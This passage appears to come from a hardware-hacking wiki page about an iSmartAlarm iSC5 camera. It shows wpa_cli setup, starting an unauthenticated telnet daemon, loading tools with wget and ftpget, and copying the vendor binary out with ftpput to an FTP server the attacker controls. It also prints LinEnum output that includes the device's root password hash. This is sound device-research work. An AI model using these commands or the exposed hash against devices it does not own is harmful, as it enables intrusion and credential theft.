&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;kill -KILL 601 606 &amp;amp;&amp;amp; exec /root/etc_default/iSC3S/iSC3S &amp;amp;&amp;gt; /dev/null &amp;amp;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;WPA Client Configuration&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;At this point the the device is still in default factory settings and I am going to show how to manually add the device to the network, to do more fun stuff with it. Simply execute the following commands step by step or read the [https://linux.die.net/man/8/wpa_cli man pages].&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Connect to WLAN&lt;br /&gt;
wpa_cli&lt;br /&gt;
scan&lt;br /&gt;
scan_results&lt;br /&gt;
add_network&lt;br /&gt;
set_network 0 ssid &amp;quot;$SSID&amp;quot;&lt;br /&gt;
set_network 0 psk &amp;quot;$PSK&amp;quot;&lt;br /&gt;
set_network 0 scan_ssid 1&lt;br /&gt;
enable_network 0&lt;br /&gt;
# save_config&lt;br /&gt;
select_network 0&lt;br /&gt;
quit&lt;br /&gt;
&lt;br /&gt;
# Test Satus&lt;br /&gt;
wpa_cli status&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Start Telnet Server&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The command set with this firmware is very extensive, providing many usefull commands and in addition a writable filesystem. Although the legitimacy of their existence is questionable, there is a telnet daemon among them, which is pretty use for us to get rid for the need of a serial connection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Start the Telnet daemon&lt;br /&gt;
telnetd &amp;amp;&lt;br /&gt;
&lt;br /&gt;
# Analyst:&lt;br /&gt;
# Telnet client wont work for some reason...&lt;br /&gt;
telnet $ISC5_IP 23&lt;br /&gt;
# Netcat works fine&lt;br /&gt;
nc $ISC5_IP 23&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Available Command Set&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;[                  ftpget             mkfifo             start-stop-daemon&lt;br /&gt;
[[                 ftpput             mkfs.ext2          strings&lt;br /&gt;
addgroup           fwburnonly         mkfs.reiser        stty&lt;br /&gt;
adduser            fwcnew             mkfs.vfat          su&lt;br /&gt;
arping             gdbserver          mknod              sulogin&lt;br /&gt;
ash                getopt             mktemp             swapoff&lt;br /&gt;
basename           getty              modprobe           swapon&lt;br /&gt;
bcmdl              gfwver             more               sync&lt;br /&gt;
busybox            gpio3_blink        mount              syslogd&lt;br /&gt;
cat                gpio_init          mount.exfat        tail&lt;br /&gt;
chgrp              gpio_led           mount.exfat-fuse   tar&lt;br /&gt;
chmod              gpio_ms1           mt                 tee&lt;br /&gt;
chown              grep               mv                 telnet&lt;br /&gt;
chroot             groups             netstat            telnetd&lt;br /&gt;
clear              halt               nice               test&lt;br /&gt;
cp                 hd                 nslookup           test_UP/&lt;br /&gt;
crond              head               ntfs-3g            time&lt;br /&gt;
crontab            hexdump            ntpd               top&lt;br /&gt;
cut                hostid             nvram_get          touch&lt;br /&gt;
date               hostname           nvram_init         tr&lt;br /&gt;
dc                 hwclock            nvram_set          true&lt;br /&gt;
dd                 id                 nvram_utility      tty&lt;br /&gt;
delgroup           ifconfig           pars_diff          ubimkvol&lt;br /&gt;
deluser            ifdown             passwd             ubirmvol&lt;br /&gt;
depmod             ifup               pidof              ubirsvol&lt;br /&gt;
df                 inetd              ping               ubiupdatevol&lt;br /&gt;
dhcprelay          init               ping6              udhcpc&lt;br /&gt;
dhd                insmod             poweroff           udhcpd&lt;br /&gt;
dhd_helper         install            printenv           umount&lt;br /&gt;
diff               ipcs               printf             uname&lt;br /&gt;
dirname            iwconfig           ps                 uniq&lt;br /&gt;
dmesg              iwlist             pstree             uptime&lt;br /&gt;
dnsd               iwpriv             pwd                users&lt;br /&gt;
dnsdomainname      kill               pwdx               usleep&lt;br /&gt;
du                 killall            readFile           uudecode&lt;br /&gt;
dumpleases         klogd              reboot             uuencode&lt;br /&gt;
echo               ln                 rm                 vi&lt;br /&gt;
egrep              logger             rmdir              vlock&lt;br /&gt;
env                login              rmmod              wc&lt;br /&gt;
expr               logname            route              wget&lt;br /&gt;
false              losetup            run-parts          which&lt;br /&gt;
fdformat           ls                 sed                who&lt;br /&gt;
fdisk              lsblk              setserial          whoami&lt;br /&gt;
fgrep              lsmod              sh                 whois&lt;br /&gt;
find               lsof               sha1sum            wl&lt;br /&gt;
flash_erase        md5sum             sha3sum            wpa_cli&lt;br /&gt;
flash_eraseall     mdev               singleBoadTest/    wpa_supplicant&lt;br /&gt;
free               mkdir              sleep              xargs&lt;br /&gt;
fstrim             mkdosfs            snx_pwm_period     yes&lt;br /&gt;
fsync              mke2fs             sort&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Load Data&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;There are some ways to plant data into the device, including copy and pasting to the &amp;lt;code&amp;gt;vi&amp;lt;/code&amp;gt; terminal, using &amp;lt;code&amp;gt;[https://manned.org/ftpget/6964d88c ftpget]&amp;lt;/code&amp;gt; or via &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ftpget -v -u $FTPUSER -p $PASSWORD -P 21 $SERVER_IP $REMOTE_FILE&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Filesystem&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# mount&lt;br /&gt;
rootfs on / type rootfs (rw)&lt;br /&gt;
/dev/root on / type cramfs (ro,relatime)&lt;br /&gt;
none on /proc type proc (rw,relatime)&lt;br /&gt;
none on /sys type sysfs (rw,relatime)&lt;br /&gt;
none on /proc/bus/usb type usbfs (rw,relatime)&lt;br /&gt;
dev on /dev type tmpfs (rw,relatime,size=512k,mode=755)&lt;br /&gt;
devpts on /dev/pts type devpts (rw,relatime,mode=600)&lt;br /&gt;
/dev/mtdblock4 on /etc type jffs2 (rw,relatime)&lt;br /&gt;
tmpfs on /tmp type tmpfs (rw,relatime,size=40228k)&lt;br /&gt;
lock on /var/lock type tmpfs (rw,relatime)&lt;br /&gt;
log on /var/log type tmpfs (rw,relatime)&lt;br /&gt;
run on /var/run type tmpfs (rw,relatime)&lt;br /&gt;
spool on /var/spool type tmpfs (rw,relatime)&lt;br /&gt;
tmp on /var/tmp type tmpfs (rw,relatime)&lt;br /&gt;
media on /media type tmpfs (rw,relatime)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Extract Data&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Binaries and other files can be extracted using &amp;lt;code&amp;gt;ftpput&amp;lt;/code&amp;gt;. For this to work, one needs to control a reachable FTP server.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;ftpput -u $FTPUSER -p $PASSWORD -P 21 $SERVER_IP /root/etc_default/iSC3S/iSC3S&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Information Gathering&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Usually the information gathering comes first, but I wanted to try the [https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh LinEnum.sh] script. With the previous setup, the script can easiliy be loaded via &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;. Unfortunately the results did not revealed much new nor interesting.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;LinEnum.sh&amp;lt;/code&amp;gt; results&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#########################################################&lt;br /&gt;
# Local Linux Enumeration &amp;amp; Privilege Escalation Script #&lt;br /&gt;
#########################################################&lt;br /&gt;
# www.rebootuser.com&lt;br /&gt;
# version 0.982&lt;br /&gt;
&lt;br /&gt;
[-] Debug Info&lt;br /&gt;
[+] Thorough tests = Enabled&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SYSTEM ##############################################&lt;br /&gt;
[-] Kernel information:&lt;br /&gt;
Linux iSmartAlarm 2.6.35.12 #4 Tue Feb 14 21:56:47 PST 2017 armv5tejl GNU/Linux&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Kernel information (continued):&lt;br /&gt;
Linux version 2.6.35.12 (fedora@localhost.localdomain) (gcc version 4.5.2 (SONiX GCC-4.5.2 Release 2011-12-06) ) #4 Tue Feb 14 21:56:47 PST 2017&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Hostname:&lt;br /&gt;
iSmartAlarm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### USER/GROUP ##########################################&lt;br /&gt;
[-] Current user/group info:&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),10(wheel)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Group memberships:&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),10(wheel)&lt;br /&gt;
uid=1(daemon) gid=1(daemon) groups=1(daemon)&lt;br /&gt;
uid=2(bin) gid=2(bin) groups=2(bin)&lt;br /&gt;
uid=3(sys) gid=3(sys) groups=3(sys)&lt;br /&gt;
uid=4(sync) gid=100(users) groups=100(users)&lt;br /&gt;
uid=8(mail) gid=8 groups=8&lt;br /&gt;
uid=13(proxy) gid=13 groups=13&lt;br /&gt;
uid=33(www-data) gid=33 groups=33&lt;br /&gt;
uid=34(backup) gid=34 groups=34&lt;br /&gt;
uid=37(operator) gid=37 groups=37&lt;br /&gt;
uid=103(sshd) gid=99(nobody) groups=99(nobody)&lt;br /&gt;
uid=99(nobody) gid=99(nobody) groups=99(nobody)&lt;br /&gt;
uid=1000(default) gid=1000(default) groups=1000(default)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Contents of /etc/passwd:&lt;br /&gt;
root:x:0:0:root:/root:/bin/sh&lt;br /&gt;
daemon:x:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
bin:x:2:2:bin:/bin:/bin/sh&lt;br /&gt;
sys:x:3:3:sys:/dev:/bin/sh&lt;br /&gt;
sync:x:4:100:sync:/bin:/bin/sync&lt;br /&gt;
mail:x:8:8:mail:/var/spool/mail:/bin/sh&lt;br /&gt;
proxy:x:13:13:proxy:/bin:/bin/sh&lt;br /&gt;
www-data:x:33:33:www-data:/var/www:/bin/sh&lt;br /&gt;
backup:x:34:34:backup:/var/backups:/bin/sh&lt;br /&gt;
operator:x:37:37:Operator:/var:/bin/sh&lt;br /&gt;
sshd:x:103:99:Operator:/var:/bin/sh&lt;br /&gt;
nobody:x:99:99:nobody:/home:/bin/sh&lt;br /&gt;
default:x:1000:1000:Default non-root user:/home/default:/bin/sh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] We can read the shadow file!&lt;br /&gt;
root:$1$2368HyEJ$kwdhYsA4j0BOLLvdohThM1:10933:0:99999:7:::&lt;br /&gt;
bin:*:10933:0:99999:7:::&lt;br /&gt;
daemon:*:10933:0:99999:7:::&lt;br /&gt;
adm:*:10933:0:99999:7:::&lt;br /&gt;
lp:*:10933:0:99999:7:::&lt;br /&gt;
sync:*:10933:0:99999:7:::&lt;br /&gt;
shutdown:*:10933:0:99999:7:::&lt;br /&gt;
halt:*:10933:0:99999:7:::&lt;br /&gt;
uucp:*:10933:0:99999:7:::&lt;br /&gt;
operator:*:10933:0:99999:7:::&lt;br /&gt;
nobody:*:10933:0:99999:7:::&lt;br /&gt;
default::10933:0:99999:7:::&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] We can read root&#039;s home directory!&lt;br /&gt;
-rwxrwxrwx    1 root     root           0 Jan  1 00:00 .bash_history&lt;br /&gt;
-rwxrwxrwx    1 root     root         175 Jan  1 00:00 .bash_logout&lt;br /&gt;
-rwxrwxrwx    1 root     root         161 Jan  1 00:00 .bash_profile&lt;br /&gt;
-rwxrwxrwx    1 root     root        1.7K Jan  1 00:00 .bashrc&lt;br /&gt;
drwxrwxrwx    1 root     root         700 Jan  1 00:00 etc_default&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Home directory contents:&lt;br /&gt;
-rwxrwxrwx    1 root     root           0 Jan  1 00:00 .bash_history&lt;br /&gt;
-rwxrwxrwx    1 root     root         175 Jan  1 00:00 .bash_logout&lt;br /&gt;
-rwxrwxrwx    1 root     root         161 Jan  1 00:00 .bash_profile&lt;br /&gt;
-rwxrwxrwx    1 root     root        1.7K Jan  1 00:00 .bashrc&lt;br /&gt;
drwxrwxrwx    1 root     root         700 Jan  1 00:00 etc_default&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
./LinEnum_thorough.sh: line 1353: awk: not found&lt;br /&gt;
### ENVIRONMENTAL #######################################&lt;br /&gt;
[-] Environment information:&lt;br /&gt;
OPENSSL_armcap=5&lt;br /&gt;
USER=root&lt;br /&gt;
HOME=/root&lt;br /&gt;
OLDPWD=/root&lt;br /&gt;
LOGNAME=root&lt;br /&gt;
TERM=vt100&lt;br /&gt;
PATH=/sbin:/usr/sbin:/bin:/usr/bin&lt;br /&gt;
SHELL=/bin/sh&lt;br /&gt;
PWD=/tmp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Path information:&lt;br /&gt;
/sbin:/usr/sbin:/bin:/usr/bin&lt;br /&gt;
drwxr-xr-x    1 root     root          1412 Jan  1 00:00 /bin&lt;br /&gt;
drwxr-xr-x    1 root     root           736 Jan  1 00:00 /sbin&lt;br /&gt;
drwxrwxrwx    1 root     root          1332 Jan  1 00:00 /usr/bin&lt;br /&gt;
drwxrwxr-x    1 root     root           388 Jan  1 00:00 /usr/sbin&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Current umask value:&lt;br /&gt;
u=rwx,g=rx,o=rx&lt;br /&gt;
0022&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### JOBS/TASKS ##########################################&lt;br /&gt;
### NETWORKING  ##########################################&lt;br /&gt;
[-] Network and IP info:&lt;br /&gt;
eth0      Link encap:Ethernet  HWaddr 00:B0:27:08:90:14&lt;br /&gt;
          BROADCAST MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:1000&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
          Interrupt:17&lt;br /&gt;
&lt;br /&gt;
gre0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;
          NOARP  MTU:1476  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
ip6tnl0   Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;
          NOARP  MTU:1460  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
lo        Link encap:Local Loopback&lt;br /&gt;
          LOOPBACK  MTU:16436  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
sit0      Link encap:IPv6-in-IPv4&lt;br /&gt;
          NOARP  MTU:1480  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
tunl0     Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00&lt;br /&gt;
          NOARP  MTU:1480  Metric:1&lt;br /&gt;
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0&lt;br /&gt;
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
wlan0     Link encap:Ethernet  HWaddr 00:4D:32:09:B7:2E&lt;br /&gt;
          inet addr:192.168.43.193  Bcast:192.168.43.255  Mask:255.255.255.0&lt;br /&gt;
          inet6 addr: fe80::e276:d0ff:fe3c:4958/64 Scope:Link&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:453 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:332 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:1000&lt;br /&gt;
          RX bytes:137425 (134.2 KiB)  TX bytes:0 (0.0 B)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Nameserver(s):&lt;br /&gt;
nameserver $NAMESERVER&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Default route:&lt;br /&gt;
default         $ROUTER    0.0.0.0         UG    0      0        0 wlan0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Listening TCP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
tcp        0      0 0.0.0.0:22306           0.0.0.0:*               LISTEN      663/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:22345           0.0.0.0:*               LISTEN      663/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:10002           0.0.0.0:*               LISTEN      663/iSC3S&lt;br /&gt;
tcp        0      0 :::23                   :::*                    LISTEN      788/telnetd&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Listening UDP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
udp        0      0 0.0.0.0:10000           0.0.0.0:*                           663/iSC3S&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SERVICES #############################################&lt;br /&gt;
./LinEnum_thorough.sh: line 1353: awk: not found&lt;br /&gt;
[-] Contents of /etc/inetd.conf:&lt;br /&gt;
swat stream tcp nowait.400 root /usr/local/samba/bin/swat swat&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] /etc/init.d/ binary permissions:&lt;br /&gt;
drwxr-xr-x    2 root     root             0 Jan  1 00:00 .&lt;br /&gt;
drwxr-xr-x   11 root     root             0 Jan  1 00:00 ..&lt;br /&gt;
-rwxr-xr-x    1 root     root           107 Jan  1 00:00 audmdprob.sh&lt;br /&gt;
-rwxr-xr-x    1 root     root           293 Jan  1 00:00 rc.local&lt;br /&gt;
-rwxr-xr-x    1 root     root          1383 Jan  1 00:00 rcS&lt;br /&gt;
-rwxr-xr-x    1 root     root          1426 Jan  1 00:00 rcS~&lt;br /&gt;
-rwxr-xr-x    1 root     root           115 Jan  1 00:00 videomdprob.sh&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SOFTWARE #############################################&lt;br /&gt;
### INTERESTING FILES ####################################&lt;br /&gt;
[-] Useful file locations:&lt;br /&gt;
/usr/bin/wget&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Can we read/write sensitive files:&lt;br /&gt;
-rw-r--r--    1 root     root           489 Jan  1 00:00 /etc/passwd&lt;br /&gt;
-rw-rw-r--    1 root     root           163 Jan  1 00:00 /etc/group&lt;br /&gt;
-rw-rw-r--    1 root     root            24 Jan  1 00:00 /etc/profile&lt;br /&gt;
-rw-rw-r--    1 root     root           355 Jan  1 00:00 /etc/shadow&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems&lt;br /&gt;
# /etc/fstab: static file system information.&lt;br /&gt;
#&lt;br /&gt;
# file system | mount pt |      type |  options |         dump | pass&lt;br /&gt;
/dev/root       /               cramfs  noauto            0      1&lt;br /&gt;
proc            /proc           proc    defaults          0      0&lt;br /&gt;
sysfs           /sys            sysfs   defaults          0      0&lt;br /&gt;
tmpfs           /tmp            tmpfs   size=100%         0      0&lt;br /&gt;
lock            /var/lock       tmpfs   defaults          0      0&lt;br /&gt;
log             /var/log        tmpfs   defaults          0      0&lt;br /&gt;
run             /var/run        tmpfs   defaults          0      0&lt;br /&gt;
spool           /var/spool      tmpfs   defaults          0      0&lt;br /&gt;
tmp             /var/tmp        tmpfs   defaults          0      0&lt;br /&gt;
media           /media          tmpfs   defaults          0      0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.conf files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.php files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.log files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Can&#039;t search *.ini files as no keyword was entered&lt;br /&gt;
&lt;br /&gt;
[-] Current user&#039;s history files:&lt;br /&gt;
-rwxrwxrwx    1 root     root             0 Jan  1 00:00 /root/.bash_history&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[+] Root&#039;s history files are accessible!&lt;br /&gt;
-rwxrwxrwx    1 root     root             0 Jan  1 00:00 /root/.bash_history&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
### SCAN COMPLETE ####################################&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Download&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: There is no official download available.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Third-Party-Firmware&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The original firmware of the iSC5 camera can be replaced with third-party firmware such as [https://github.com/GrumpyMeow/XiaomiXiaofangFirmware XiaomiXiaofangFirmware].&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Extraction&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Developer notes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cloud init ok okok okok okok okok ok&lt;br /&gt;
&lt;br /&gt;
hello Guozhixin OKOKOKOKOKOKOKOKOK&lt;br /&gt;
&lt;br /&gt;
INIT App INFO XXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
uuuuuuuuuuuuuuuuuuuuu000&lt;br /&gt;
&lt;br /&gt;
/usr/bin/test_UP # ./test_UP&lt;br /&gt;
sonix test!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
&lt;br /&gt;
Guozhixin USB down !!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;References&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;iSmartAlarm&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Profile&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/info/AboutUs (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Awards&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;https://www.ismartalarm.com/why-ismartalarm#awards_and_reviews (accessed 17 October 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;iSmartAlarm iSC5: Spot - Smart Home Security Camera&amp;lt;/b&amp;gt;&lt;br /&gt;
